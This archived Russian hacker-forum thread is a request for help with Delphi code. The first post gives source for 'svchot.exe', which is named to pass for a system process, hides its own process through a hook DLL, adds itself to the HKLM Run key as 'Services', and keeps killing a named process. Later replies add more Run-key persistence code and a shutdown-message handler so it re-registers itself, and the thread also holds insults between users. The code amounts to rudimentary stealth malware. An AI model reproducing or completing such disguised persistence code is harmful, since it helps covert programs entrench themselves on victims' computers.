Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Не материть

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> Не материть
Имя
Сообщение << Старые топики   Новые топики >>
Не материть - 2005-10-12 16:20:37   
AntiLammer

Сообщений: 16
Оценки: 0
Присоединился: 2005-09-27 19:37:44

Всем привет

Извените кодеры меня такого ламерюгу за просьбу помочь.
Прошу  на …… не посылать.
И вообще для какого х… форумы делают?
Ниже буквы.
Давай зажжом бродяги свечи за тех кому недано.

program svchot;
   {$R-}
   {$S-}
   {$A+}
uses
  TL,   //TlHelp32
  win,  //windоws
  sys,  //sysutils
  reg;  //registry

{===============================================================================}

  function StelsProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL;
  stdcall; external ''Hook.dll'';

{===============================================================================}

Procedure Run;
  var
  reg: TRegistry;
  begin
reg := TRegistry.Create;
  reg.RootKey := HKEY_LOCAL_MACHINE;
    reg.OpenKey(''Software\Microsoft\windоws\CurrentVersion\Run'',false);
    reg.WriteString(''Services'', ''C:\windоws\system32\svchot.exe'');
  reg.CloseKey;
reg.free;

end;
{===============================================================================}

function Close(ExeFileName: string): integer;
 const
   PROCESS_TERMINATE=$0001;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
begin
  result := 0;

  FSnapshotHandle := CreateToolhelp32Snapshot
                     (TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);

  ContinueLoop := Process32First(FSnapshotHandle,
                                 FProcessEntry32);

  while integer(ContinueLoop) <> 0 do
   begin
     if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
          UpperCase(ExeFileName))
     or (UpperCase(FProcessEntry32.szExeFile) =
          UpperCase(ExeFileName)))
     then

   Result := Integer(TerminateProcess(OpenProcess(
                        PROCESS_TERMINATE, BOOL(0),
                        FProcessEntry32.th32ProcessID), 0));

    ContinueLoop := Process32Next(FSnapshotHandle,
                                  FProcessEntry32);
  end;

  CloseHandle(FSnapshotHandle);
end;
{===============================================================================}
 begin

 StelsProcess(GetCurrentProcessId, false);
 Run;
while (true) do
begin
sleep(200);
Close(''Çàäîëáèòü íàõ âñåõ!'')
end;
end;
end.

 

Вообщем помогите мне сделать так чтоб при завершение форточек му беспонт exe прописывался
в реестр.
С формой беспроблем.
Спасибо за внемание!
Post #: 1
Не материть - 2005-10-13 04:12:48   
us_V_er

Сообщений: 14
Оценки: 0
Присоединился: 2005-09-10 19:02:12
Да уж ну ты даёш![sm=14.gif]
Как я понил ты хочиш чтобы пре закрытии программы она прописывала сибя в реестр потом запускалась сома себя?
тогда вот те код


====================================================================
uses Registry;

procedure TForm1.Button1Click(Sender: TоЬjесt);
var
reg: TRegistry;
begin
Reg := nil;
try
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.LazyWrite := false;
reg.OpenKey('Software\Microsoft\windоws\CurrentVersion\Run',
false);
reg.WriteString('My App', Application.ExeName);
reg.CloseKey;
reg.free;
except
if Assigned(Reg) then Reg.Free;

end;
end;
===========================================================================
Учись студент![sm=001.gif]
Post #: 2
Не материть - 2005-10-13 04:15:22   
us_V_er

Сообщений: 14
Оценки: 0
Присоединился: 2005-09-10 19:02:12
[sm=001.gif]И ещё если ты несовсем ландух то ты догадаешся что этот код надо писать не на кнопку как уминя на примери показано а в форму![sm=001.gif]
Дерзай[sm=001.gif]
Post #: 3
Не материть - 2005-10-13 12:18:13   
AntiLammer

Сообщений: 16
Оценки: 0
Присоединился: 2005-09-27 19:37:44
[sm=mad.gif][sm=mad.gif][sm=mad.gif][sm=mad.gif][sm=mad.gif][sm=mad.gif][sm=mad.gif][sm=mad.gif][sm=mad.gif][sm=mad.gif]
Извени us_V_er но ты идиот читать умеешь.
Тугадум!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[sm=em121.gif][sm=em121.gif][sm=em121.gif][sm=em121.gif]:rulez:]


Post #: 4
Не материть - 2005-10-13 13:25:49   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
>> Извени us_V_er но ты идиот читать умеешь.

Кто бы говорил… Хочешь грамотных советов - научись сперва спрашивать нормально.
Post #: 5
Не материть - 2005-10-13 23:39:18   
rgo

Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
quote:

—————-<BR>Цитата: Дата:13.10.2005 13:25:49, Автор:Lex_Voodoo ::
<BR>Кто бы говорил… Хочешь грамотных советов - научись сперва спрашивать нормально.
—————-


Вы все не поняли что он спрашивает? Давайте я поясню. Надо отловить завершение программы – по какой бы причине оно не происходило. Недавно похожая тема пробегала, но я не такой спец в win32api чтоб знать способ. Единственное что мне пришло в голову – сделать hidden окошко и отлавливать сообщение… WM_QUIT если я правильно помню.
Post #: 6
Не материть - 2005-10-14 12:23:20   
dqpb

Сообщений: 294
Оценки: 0
Присоединился: 2005-03-17 18:28:23
Не это не форум, а стенд ругательства и унижения личности.
На мой взгляд us_V_er,ты просто не понял вопроса.Я не защищаю AntiLammer'а
но ты спровацировал его на эти слова своими "Учись студент!".
А в исходнике у него тоже есть процедура автозагрузки.
Внимательней надо быть.
И вообще вы нарушаете правила форума, будьте цевилизованными людьми.




Очень часто мы сталкиваемся с проблемой, когда наша программа будучи запущенная в фоне и/или свёрнутая, например, в панель задач должна что-то сделать, когда windоws выключается, перезагружается или просто меняется пользователь.
Если мы не будем отслеживать такую ситуацию, то в худшем случае у нас могут просто потеряться какие-либо данные или windоws просто не сможет выполнить перезагрузку до конца. Ей будет мешать наша программа. Не нужно думать, что windоws перед перезагрузкой рассылает приложениям сообщения о закрытии, так чтобы у тех выпаолнились обработчкики TForm.onCloseQuery/onClose.
ОС windоws отсылает перед перезагрузкой, выключением или сменой пользователя сообщения WM_QUERYENDSESSION, а потом по его успешному завершению WM_ENDSESSION. Наше приложение должно поймать эти сообщения и отреагировать так чтобы дать понять, что мы согласны перезагружаться. В частности на сообщение WM_QUERYENDSESSION мы должны вернуть не 0:


Я тоже как-то пытался подобное сделать но у меня ни чего не вышло.
Post #: 7
Не материть - 2005-10-15 13:50:04   
AntiLammer

Сообщений: 16
Оценки: 0
Присоединился: 2005-09-27 19:37:44

Вы D0zer может поделитесь своими знаниями?

Поможете мне такому ламерюге.

Очень надо это сделать,а у меня знаний и практики не хватает для реализации подобной операции.
Post #: 8
Не материть - 2005-10-16 10:09:46   
dqpb

Сообщений: 294
Оценки: 0
Присоединился: 2005-03-17 18:28:23
Почитай
И учись поисковиками пользоваться!
А то таких как ты тут много.
Post #: 9
Не материть - 2006-01-27 22:31:13   
Nerzhul

Сообщений: 45
Оценки: 0
Присоединился: 2005-02-25 22:39:02
Попробуй такой способ:

в разделе private твоей формы опиши такую процедуру:
procedure WMEndSession(var Msg:TMsg); message WM_ENDSESSION.
Потом в разделе implementation напиши следующее:
{—————————————}
procedure WMEndSession(var Msg:TMsg); //message WM_ENDSESSION писать //НЕ надо

var //здесь пиши код который надо
reg: TRegistry; //выполнить при выходе из виндов
begin //например как посоветовалus_V_er
Reg := nil;
try
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.LazyWrite := false;
reg.OpenKey('Software\Microsoft\windоws\CurrentVersion\Run',
false);
reg.WriteString('My App', Application.ExeName);
reg.CloseKey;
reg.free;
except
if Assigned(Reg) then Reg.Free;

end;
end;
{————————————————-}
директива message в разделе private указывает что наша процедура будет выполняться при получении формой сообщения WM_ENDSESSION.
В разделе implementation мы описали, какой код надо выплнить при ее вызове.
Попробуй. Не гарантирую, что будет работать. Сам еще не пробовал.
Название процедуры и параметра само собой можешь менять.
Также попробуй поменять WM_ENDSESSION на WM_QUERYENDSESSION.
Dozer писал, в чем их различие
Post #: 10
Не материть - 2006-02-03 00:18:58   
AntiLammer

Сообщений: 16
Оценки: 0
Присоединился: 2005-09-27 19:37:44
quote:

—————-<BR>Цитата: Дата:27.01.2006 22:31:13, Автор:Nerzhul ::
Попробуй такой способ:<BR><BR>в разделе private твоей формы опиши такую процедуру:<BR>procedure WMEndSession(var Msg:TMsg); message WM_ENDSESSION.<BR>Потом в разделе implementation напиши следующее:<BR>{—————————————}<BR>procedure WMEndSession(var Msg:TMsg); //message WM_ENDSESSION писать //НЕ надо<BR><BR>var //здесь пиши код который надо<BR> reg: TRegistry; //выполнить при выходе из виндов<BR>begin //например как посоветовалus_V_er<BR> Reg := nil;<BR> try<BR> reg := TRegistry.Create;<BR> reg.RootKey := HKEY_LOCAL_MACHINE;<BR> reg.LazyWrite := false;<BR> reg.OpenKey('SoftwareMicrosoftwindоwsCurrentVersionRun',<BR> false);<BR> reg.WriteString('My App', Application.ExeName);<BR> reg.CloseKey;<BR> reg.free;<BR> except<BR> if Assigned(Reg) then Reg.Free;<BR><BR> end;<BR>end;<BR>{————————————————-}<BR>директива message в разделе private указывает что наша процедура будет выполняться при получении формой сообщения WM_ENDSESSION.<BR>В разделе implementation мы описали, какой код надо выплнить при ее вызове.<BR>Попробуй. Не гарантирую, что будет работать. Сам еще не пробовал.<BR>Название процедуры и параметра само собой можешь менять.<BR>Также попробуй поменять WM_ENDSESSION на WM_QUERYENDSESSION.<BR>Dozer писал, в чем их различие
—————-







ну епт еще один тугадум. я не спрашиваю как это сделать с формой, я спрашиваю как это сделать без формы.
[sm=hi.gif][sm=hi.gif][sm=hi.gif][sm=hi.gif][sm=hi.gif]
Post #: 11
Страниц:  [1]
Все форумы >> [Веб-программинг] >> Не материть







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.